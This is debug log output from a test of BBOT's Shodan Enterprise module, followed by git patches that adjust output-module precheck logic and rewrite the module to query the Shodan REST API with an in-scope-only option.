Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-servers', 'web-technology', 'in-scope'}) -2026-03-02 09:15:09,618 [DEBUG] bbot.modules.dnsresolve base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'critical', 'in-scope'}) passed post-check -2026-03-02 09:15:09,618 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'critical', 'in-scope'}) -2026-03-02 09:15:09,619 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-crypto', 'web-technology', 'in-scope'}) in-scope because its main host matches the scan target -2026-03-02 09:15:09,619 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-servers', 'web-technology', 'in-scope'}) passed post-check -2026-03-02 09:15:09,619 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-servers', 'web-technology', 'in-scope'}) -2026-03-02 09:15:09,619 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-crypto', 'web-technology', 'in-scope'}) -2026-03-02 09:15:09,620 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'nameserver', 'dns', 'in-scope'}) passed post-check -2026-03-02 09:15:09,620 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'nameserver', 'dns', 'in-scope'}) -2026-03-02 09:15:09,620 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'critical', 'in-scope'}) -2026-03-02 09:15:09,620 [DEBUG] bbot.modules.dnsresolve base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-crypto', 'web-technology', 'in-scope'}) passed post-check -2026-03-02 09:15:09,621 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-crypto', 'web-technology', 'in-scope'}) -2026-03-02 09:15:09,621 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'nameserver', 'dns', 'in-scope'}) in-scope because its main host matches the scan target -2026-03-02 09:15:09,621 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-servers', 'web-technology', 'in-scope'}) -2026-03-02 09:15:09,622 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-servers', 'web-technology', 'in-scope'}) because precheck succeeded -2026-03-02 09:15:09,622 [DEBUG] bbot.modules._scan_egress base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'critical', 'in-scope'}) passed post-check -2026-03-02 09:15:09,622 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'critical', 'in-scope'}) -2026-03-02 09:15:09,622 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'nameserver', 'dns', 'in-scope'}) -2026-03-02 09:15:09,623 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'nameserver', 'dns', 'in-scope'}) passed post-check -2026-03-02 09:15:09,623 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'nameserver', 'dns', 'in-scope'}) -2026-03-02 09:15:09,623 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-crypto', 'web-technology', 'in-scope'}) -2026-03-02 09:15:09,623 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'nameserver', 'dns', 'in-scope'}) passed post-check -2026-03-02 09:15:09,624 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'nameserver', 'dns', 'in-scope'}) -2026-03-02 09:15:09,624 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'nameserver', 'dns', 'in-scope'}) in-scope because its main host matches the scan target -2026-03-02 09:15:09,624 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'critical', 'in-scope'}) -2026-03-02 09:15:09,624 [DEBUG] bbot.modules.output.python base.py:1563 Queueing VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'critical', 'in-scope'}) because precheck succeeded -2026-03-02 09:15:09,625 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-crypto', 'web-technology', 'in-scope'}) passed post-check -2026-03-02 09:15:09,625 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-crypto', 'web-technology', 'in-scope'}) -2026-03-02 09:15:09,625 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'nameserver', 'dns', 'in-scope'}) -2026-03-02 09:15:09,625 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'nameserver', 'dns', 'in-scope'}) -2026-03-02 09:15:09,626 [DEBUG] bbot.modules.dnsresolve base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'nameserver', 'dns', 'in-scope'}) passed post-check -2026-03-02 09:15:09,626 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'nameserver', 'dns', 'in-scope'}) -2026-03-02 09:15:09,626 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-crypto', 'web-technology', 'in-scope'}) -2026-03-02 09:15:09,627 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-crypto', 'web-technology', 'in-scope'}) because precheck succeeded -2026-03-02 09:15:09,627 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'nameserver', 'dns', 'in-scope'}) passed post-check -2026-03-02 09:15:09,627 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'nameserver', 'dns', 'in-scope'}) -2026-03-02 09:15:09,627 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'nameserver', 'dns', 'in-scope'}) -2026-03-02 09:15:09,628 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'nameserver', 'dns', 'in-scope'}) -2026-03-02 09:15:09,628 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'nameserver', 'dns', 'in-scope'}) because precheck succeeded -2026-03-02 09:15:09,628 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'nameserver', 'dns', 'in-scope'}) passed post-check -2026-03-02 09:15:09,628 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'nameserver', 'dns', 'in-scope'}) -2026-03-02 09:15:09,629 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'nameserver', 'dns', 'in-scope'}) -2026-03-02 09:15:09,629 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'nameserver', 'dns', 'in-scope'}) because precheck succeeded -2026-03-02 09:15:09,691 [DEBUG] bbot.modules.output.python base.py:1563 Got VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) from shodan_enterprise -2026-03-02 09:15:09,692 [DEBUG] bbot.modules.output.python base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) passed post-check -2026-03-02 09:15:09,692 [DEBUG] bbot.modules.output.python base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'dns', 'in-scope'}) from shodan_enterprise -2026-03-02 09:15:09,693 [DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'dns', 'in-scope'}) passed post-check -2026-03-02 09:15:09,694 [DEBUG] bbot.modules.output.python base.py:1563 Got VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'low', 'in-scope'}) from shodan_enterprise -2026-03-02 09:15:09,695 [DEBUG] bbot.modules.output.python base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'low', 'in-scope'}) passed post-check -2026-03-02 09:15:09,695 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'dns', 'in-scope'}) from shodan_enterprise -2026-03-02 09:15:09,695 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'dns', 'in-scope'}) passed post-check -2026-03-02 09:15:09,696 [DEBUG] bbot.modules.output.python base.py:1563 Got ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'public-dns', 'cloud', 'verified'}) from shodan_enterprise -2026-03-02 09:15:09,696 [DEBUG] bbot.modules.output.python base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'public-dns', 'cloud', 'verified'}) passed post-check -2026-03-02 09:15:09,696 [DEBUG] bbot.modules.output.python base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'nameserver', 'dns', 'in-scope'}) from shodan_enterprise -2026-03-02 09:15:09,696 [DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'nameserver', 'dns', 'in-scope'}) passed post-check -2026-03-02 09:15:09,697 [DEBUG] bbot.modules.output.python base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-servers', 'web-technology', 'in-scope'}) from shodan_enterprise -2026-03-02 09:15:09,697 [DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-servers', 'web-technology', 'in-scope'}) passed post-check -2026-03-02 09:15:09,697 [DEBUG] bbot.modules.output.python base.py:1563 Got VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'critical', 'in-scope'}) from shodan_enterprise -2026-03-02 09:15:09,697 [DEBUG] bbot.modules.output.python base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'critical', 'in-scope'}) passed post-check -2026-03-02 09:15:09,698 [DEBUG] bbot.modules.output.python base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-crypto', 'web-technology', 'in-scope'}) from shodan_enterprise -2026-03-02 09:15:09,698 [DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-crypto', 'web-technology', 'in-scope'}) passed post-check -2026-03-02 09:15:09,698 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'nameserver', 'dns', 'in-scope'}) from shodan_enterprise -2026-03-02 09:15:09,698 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'nameserver', 'dns', 'in-scope'}) passed post-check -2026-03-02 09:15:09,698 [DEBUG] bbot.modules.output.python base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'nameserver', 'dns', 'in-scope'}) from shodan_enterprise -2026-03-02 09:15:09,699 [DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'nameserver', 'dns', 'in-scope'}) passed post-check -2026-03-02 09:15:09,699 [INFO] bbot.scanner scanner.py:790 Finishing scan -2026-03-02 09:15:09,699 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) because its type is FINISHED -2026-03-02 09:15:09,700 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED -2026-03-02 09:15:09,700 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED -2026-03-02 09:15:09,700 [VERBOSE] bbot.scanner logger.py:151 Completed finish() -2026-03-02 09:15:09,700 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING -2026-03-02 09:15:09,700 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) from None -2026-03-02 09:15:09,701 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None -2026-03-02 09:15:09,801 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None -2026-03-02 09:15:09,802 [VERBOSE] bbot.scanner logger.py:151 Completed final finish() -2026-03-02 09:15:09,811 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks -2026-03-02 09:15:09,811 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks -2026-03-02 09:15:09,811 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 42 tasks -2026-03-02 09:15:09,815 [DEBUG] bbot.scanner scanner.py:1176 Awaited 42 tasks -2026-03-02 09:15:09,816 [VERBOSE] bbot.core.dnshelper logger.py:151 EngineClient DNSHelper: shutting down... -2026-03-02 09:15:09,816 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP -2026-03-02 09:15:09,817 [VERBOSE] bbot.core.dnsengine logger.py:151 EngineServer DNSEngine got shutdown signal -2026-03-02 09:15:09,817 [VERBOSE] bbot.core.dnsengine logger.py:151 EngineServer DNSEngine: shutting down... -2026-03-02 09:15:09,817 [VERBOSE] bbot.core.dnsengine logger.py:151 EngineServer DNSEngine: finished shutting down -2026-03-02 09:15:09,882 [HUGESUCCESS] bbot.scanner logger.py:151 Scan testshodan_enterprise_test_wwe9k1fxd4 completed in 0 seconds with status FINISHED -2026-03-02 09:15:09,883 [DEBUG] bbot base.py:113 Finished shodan_enterprise module test -2026-03-02 09:15:09,884 [DEBUG] asyncio selector_events.py:64 Using selector: KqueueSelector -2026-03-02 09:15:09,885 [CRITICAL] bbot test_module_shodan_enterprise.py:66 Found 1 ASN events -2026-03-02 09:15:09,885 [CRITICAL] bbot test_module_shodan_enterprise.py:77 TCP ports: ['8.8.8.8:53'], UDP ports: ['8.8.8.8:53'] -2026-03-02 09:15:09,885 [HUGEWARNING] bbot logger.py:151 Vulnerabilities observed: {'CVE-2021-12345': 'HIGH', 'CVE-2020-00001': 'LOW', 'CVE-2022-11111': 'CRITICAL'} -2026-03-02 09:15:09,885 [INFO] bbot.test.shodan_enterprise base.py:125 Finished shodan_enterprise module test -2026-03-02 09:15:09,886 [INFO] bbot.test.shodan_enterprise base.py:131 No unfinished tasks detected From bafc1efc6fd34cfc1d5e409c44aeb1aef96cf696 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 2 Mar 2026 12:05:34 -0500 Subject: [PATCH 262/912] Move always_emit check after _omit clause and add tests --- bbot/modules/output/base.py | 3 +++ bbot/test/test_step_1/test_modules_basic.py | 18 ++++++++++++++++++ 2 files changed, 21 insertions(+) diff --git a/bbot/modules/output/base.py b/bbot/modules/output/base.py index 5aa17d24c1..fefb4f3fad 100644 --- a/bbot/modules/output/base.py +++ b/bbot/modules/output/base.py @@ -46,6 +46,9 @@ def _event_precheck(self, event): else: return False, "its type is omitted in the config" + if event.always_emit: + return True, "event is always emitted" + # internal events like those from speculate, ipneighbor # or events that are over our report distance if event._internal: diff --git a/bbot/test/test_step_1/test_modules_basic.py b/bbot/test/test_step_1/test_modules_basic.py index 6c7b0d1890..43caab3bee 100644 --- a/bbot/test/test_step_1/test_modules_basic.py +++ b/bbot/test/test_step_1/test_modules_basic.py @@ -89,6 +89,24 @@ async def test_modules_basic_checks(events, httpx_mock): await egress_module.handle_event(url) assert url._omit is True + # omitted always_emit events should still be omitted + finding_data = {"host": "evilcorp.com", "description": "test", "severity": "LOW", "confidence": "LOW", "name": "test"} + finding = scan.make_event(finding_data, "FINDING", parent=scan.root_event) + assert finding.always_emit is True + finding._omit = True + result, reason = base_output_module_2._event_precheck(finding) + assert result is False + assert reason == "its type is omitted in the config" + + # always_emit should bypass the internal check + finding_data2 = {"host": "evilcorp.com", "description": "test2", "severity": "LOW", "confidence": "LOW", "name": "test2"} + finding2 = scan.make_event(finding_data2, "FINDING", parent=scan.root_event) + assert finding2.always_emit is True + finding2._internal = True + result, reason = base_output_module_2._event_precheck(finding2) + assert result is True + assert reason == "event is always emitted" + # common event filtering tests for module_class in (BaseModule, BaseOutputModule, BaseReportModule, BaseInternalModule): base_module = module_class(scan) From 80c92c85fbeb003d7120f7aa3a67b21e7c3fff8d Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 2 Mar 2026 12:07:24 -0500 Subject: [PATCH 263/912] Fix formatting --- bbot/test/test_step_1/test_modules_basic.py | 16 ++++++++++++++-- 1 file changed, 14 insertions(+), 2 deletions(-) diff --git a/bbot/test/test_step_1/test_modules_basic.py b/bbot/test/test_step_1/test_modules_basic.py index 43caab3bee..467fbd64d3 100644 --- a/bbot/test/test_step_1/test_modules_basic.py +++ b/bbot/test/test_step_1/test_modules_basic.py @@ -90,7 +90,13 @@ async def test_modules_basic_checks(events, httpx_mock): assert url._omit is True # omitted always_emit events should still be omitted - finding_data = {"host": "evilcorp.com", "description": "test", "severity": "LOW", "confidence": "LOW", "name": "test"} + finding_data = { + "host": "evilcorp.com", + "description": "test", + "severity": "LOW", + "confidence": "LOW", + "name": "test", + } finding = scan.make_event(finding_data, "FINDING", parent=scan.root_event) assert finding.always_emit is True finding._omit = True @@ -99,7 +105,13 @@ async def test_modules_basic_checks(events, httpx_mock): assert reason == "its type is omitted in the config" # always_emit should bypass the internal check - finding_data2 = {"host": "evilcorp.com", "description": "test2", "severity": "LOW", "confidence": "LOW", "name": "test2"} + finding_data2 = { + "host": "evilcorp.com", + "description": "test2", + "severity": "LOW", + "confidence": "LOW", + "name": "test2", + } finding2 = scan.make_event(finding_data2, "FINDING", parent=scan.root_event) assert finding2.always_emit is True finding2._internal = True From 692cb8570db4c9fa7b0b52b80cb3dc6dc3dadf3e Mon Sep 17 00:00:00 2001 From: TheTechromancer Date: Mon, 2 Mar 2026 13:04:35 -0500 Subject: [PATCH 264/912] use API instead of python library, add in_scope_only option, warnings --- bbot/modules/censys_ip.py | 7 +- bbot/modules/shodan_enterprise.py | 269 ++++++++++-------- .../test_module_shodan_enterprise.py | 94 +++--- 3 files changed, 188 insertions(+), 182 deletions(-) diff --git a/bbot/modules/censys_ip.py b/bbot/modules/censys_ip.py index fa82dc33c7..c9588ef6fc 100644 --- a/bbot/modules/censys_ip.py +++ b/bbot/modules/censys_ip.py @@ -33,9 +33,10 @@ class censys_ip(censys): async def setup(self): self.dns_names_limit = self.config.get("dns_names_limit", 100) - self.warning( - "This module may consume a lot of API queries. Unless you specifically want to query on each individual IP, we recommend using the censys_dns module instead." - ) + if not self.config.get("in_scope_only", True): + self.warning( + "in_scope_only is disabled. This module queries each IP individually and may consume a lot of API credits!" + ) return await super().setup() async def filter_event(self, event): diff --git a/bbot/modules/shodan_enterprise.py b/bbot/modules/shodan_enterprise.py index 06ed8e4b66..04eabc8608 100644 --- a/bbot/modules/shodan_enterprise.py +++ b/bbot/modules/shodan_enterprise.py @@ -1,159 +1,176 @@ -import shodan from bbot.modules.base import BaseModule class shodan_enterprise(BaseModule): watched_events = ["IP_ADDRESS"] produced_events = ["OPEN_TCP_PORT", "TECHNOLOGY", "OPEN_UDP_PORT", "ASN", "VULNERABILITY"] - flags = ["passive"] + flags = ["passive", "safe"] meta = { "created_date": "2026-01-27", "author": "@Control-Punk-Delete", "description": "Shodan Enterprise API integration module.", + "auth_required": True, + } + options = {"api_key": "", "in_scope_only": True} + options_desc = { + "api_key": "Shodan API Key", + "in_scope_only": "Only query in-scope IPs. If False, will query up to distance 1.", } - deps_pip = ["shodan"] - options = {"api_key": None} - options_desc = {"api_key": "Shodan API Key"} - per_host_only = True scope_distance_modifier = 1 - target_only = True + + base_url = "https://api.shodan.io" async def setup(self): - if not self.config.get("api_key"): + self.api_key = self.config.get("api_key", "") + if not self.api_key: return None, "No API key specified" - self.api_key = self.config.get("api_key") + if not self.config.get("in_scope_only", True): + self.warning( + "in_scope_only is disabled. This module queries each IP individually and may consume a lot of API credits!" + ) + return True + + async def filter_event(self, event): + in_scope_only = self.config.get("in_scope_only", True) + max_scope_distance = 0 if in_scope_only else (self.scan.scope_search_distance + 1) + if event.scope_distance > max_scope_distance: + return False, "event is not in scope" return True async def handle_event(self, event): + ip = event.data + url = f"{self.base_url}/shodan/host/{self.helpers.quote(ip)}?key={{api_key}}" + r = await self.api_request(url) + if r is None: + self.warning(f"No response from Shodan API for {ip}") + return + status_code = getattr(r, "status_code", 0) + if status_code == 404: + self.warning(f"No Shodan data about {ip}") + return + if not getattr(r, "is_success", False): + self.warning(f"Shodan API error for {ip} (status {status_code})") + return try: - api = shodan.Shodan(self.api_key) - host = api.host(ips=event.data, history=False, minify=False) - - # ASN Extraction + host = r.json() + except Exception as e: + self.warning(f"Failed to parse Shodan API response for {ip}: {e}") + return + + # ASN Extraction + asn_raw = host.get("asn", "") + if asn_raw: asn = { - "asn": host["asn"][2:], - "name": host["org"], - "description": host["isp"], - "country": host["country_code"], + "asn": asn_raw[2:] if asn_raw.startswith("AS") else asn_raw, + "name": host.get("org", ""), + "description": host.get("isp", ""), + "country": host.get("country_code", ""), } - await self.emit_event( asn, "ASN", parent=event, - tags=host.get("tags"), - context=f"Shodan API {event.data} request and find ASN", + tags=host.get("tags") or [], + context=f"Shodan API {ip} request and find ASN", ) - if "data" in host: - for data in host["data"]: - # TECHNOLOGY Extraction - ## TECHNOLOGY CPE Formats - if "cpe" in data: - for technology in data["cpe"]: - tech = {"technology": technology, "host": data.get("ip_str"), "port": data.get("port")} - await self.emit_event( - tech, - "TECHNOLOGY", - parent=event, - tags=data.get("tags") or [], - context=f"Shodan API {event.data} request and find TECHNOLOGY: {technology}", - ) - - if "cpe23" in data: - for technology in data["cpe23"]: - tech = {"technology": technology, "host": data.get("ip_str"), "port": data.get("port")} - await self.emit_event( - tech, - "TECHNOLOGY", - parent=event, - tags=data.get("tags") or [], - context=f"Shodan API {event.data} request and find TECHNOLOGY: {technology}", - ) - - # TECHNOLOGY Additional Formats - if "product" in data: - tech = { - "technology": data.get("product"), - "host": data.get("ip_str"), - "port": data.get("port"), - } - + if "data" not in host: + self.warning(f"No Shodan data about {ip}") + return + + # NIST cvss score severity mapping + severity_map = {"NONE": 0.0, "LOW": 0.1, "MEDIUM": 4.0, "HIGH": 7.0, "CRITICAL": 9.0} + + for data in host["data"]: + # TECHNOLOGY Extraction + ## TECHNOLOGY CPE Formats + for technology in data.get("cpe", []): + tech = {"technology": technology, "host": data.get("ip_str"), "port": data.get("port")} + await self.emit_event( + tech, + "TECHNOLOGY", + parent=event, + tags=data.get("tags") or [], + context=f"Shodan API {ip} request and find TECHNOLOGY: {technology}", + ) + + for technology in data.get("cpe23", []): + tech = {"technology": technology, "host": data.get("ip_str"), "port": data.get("port")} + await self.emit_event( + tech, + "TECHNOLOGY", + parent=event, + tags=data.get("tags") or [], + context=f"Shodan API {ip} request and find TECHNOLOGY: {technology}", + ) + + # TECHNOLOGY Additional Formats + if "product" in data: + tech = { + "technology": data.get("product"), + "host": data.get("ip_str"), + "port": data.get("port"), + } + await self.emit_event( + tech, + "TECHNOLOGY", + parent=event, + tags=data.get("tags") or [], + context=f"Shodan API {ip} request and find TECHNOLOGY: {data['product']}", + ) + + if "http" in data: + if "components" in data["http"]: + for technology in data["http"]["components"]: + tech = {"technology": technology, "host": data.get("ip_str"), "port": data.get("port")} + tags = list(data["http"]["components"][technology].get("categories", [])) + tags.append("web-technology") await self.emit_event( tech, "TECHNOLOGY", parent=event, - tags=data.get("tags") or [], - context=f"Shodan API {event.data} request and find TECHNOLOGY: {data['product']}", + tags=tags, + context=f"Shodan API {ip} request and find TECHNOLOGY: {technology}", ) - if "http" in data: - if "components" in data["http"]: - for technology in data["http"]["components"]: - tech = {"technology": technology, "host": data.get("ip_str"), "port": data.get("port")} - tags = data["http"]["components"][technology]["categories"] - tags.append("web-technology") - await self.emit_event( - tech, - "TECHNOLOGY", - parent=event, - tags=tags or [], - context=f"Shodan API {event.data} request and find TECHNOLOGY: {technology}", - ) - - # OPEN_TCP_PORT, OPEN_UDP_PORT Extraction - if "port" in data and "transport" in data: - if data["transport"] == "tcp": - await self.emit_event( - self.helpers.make_netloc(event.data, data.get("port")), - "OPEN_TCP_PORT", - parent=event, - tags=data.get("tags") or [], - context=f"Shodan API {event.data} request and find TECHNOLOGY: {data.get('port')}", - ) - - elif data["transport"] == "udp": - await self.emit_event( - self.helpers.make_netloc(event.data, data.get("port")), - "OPEN_UDP_PORT", - parent=event, - tags=data.get("tags") or [], - context=f"Shodan API {event.data} request and find TECHNOLOGY: {data.get('port')}", - ) - - else: - self.warning(f"[WARNING] unknown transport {data['transport']}") - - # VULNERABILITY Extraction - # NIST cvss score severity mapping - severity_map = {"NONE": 0.0, "LOW": 0.1, "MEDIUM": 4.0, "HIGH": 7.0, "CRITICAL": 9.0} - - if "vulns" in data: - for item in data["vulns"]: - cve = item - vuln = { - "host": data.get("ip_str"), - "severity": max( - ( - level - for level, threshold in severity_map.items() - if data["vulns"][item].get("cvss") >= threshold - ), - key=lambda x: severity_map[x], - ), - "description": f"{cve}", - } - - await self.emit_event( - vuln, - "VULNERABILITY", - parent=event, - tags=[], - context=f"Shodan API {event.data} request and find VULNERABILITY {cve}", - ) - - else: - 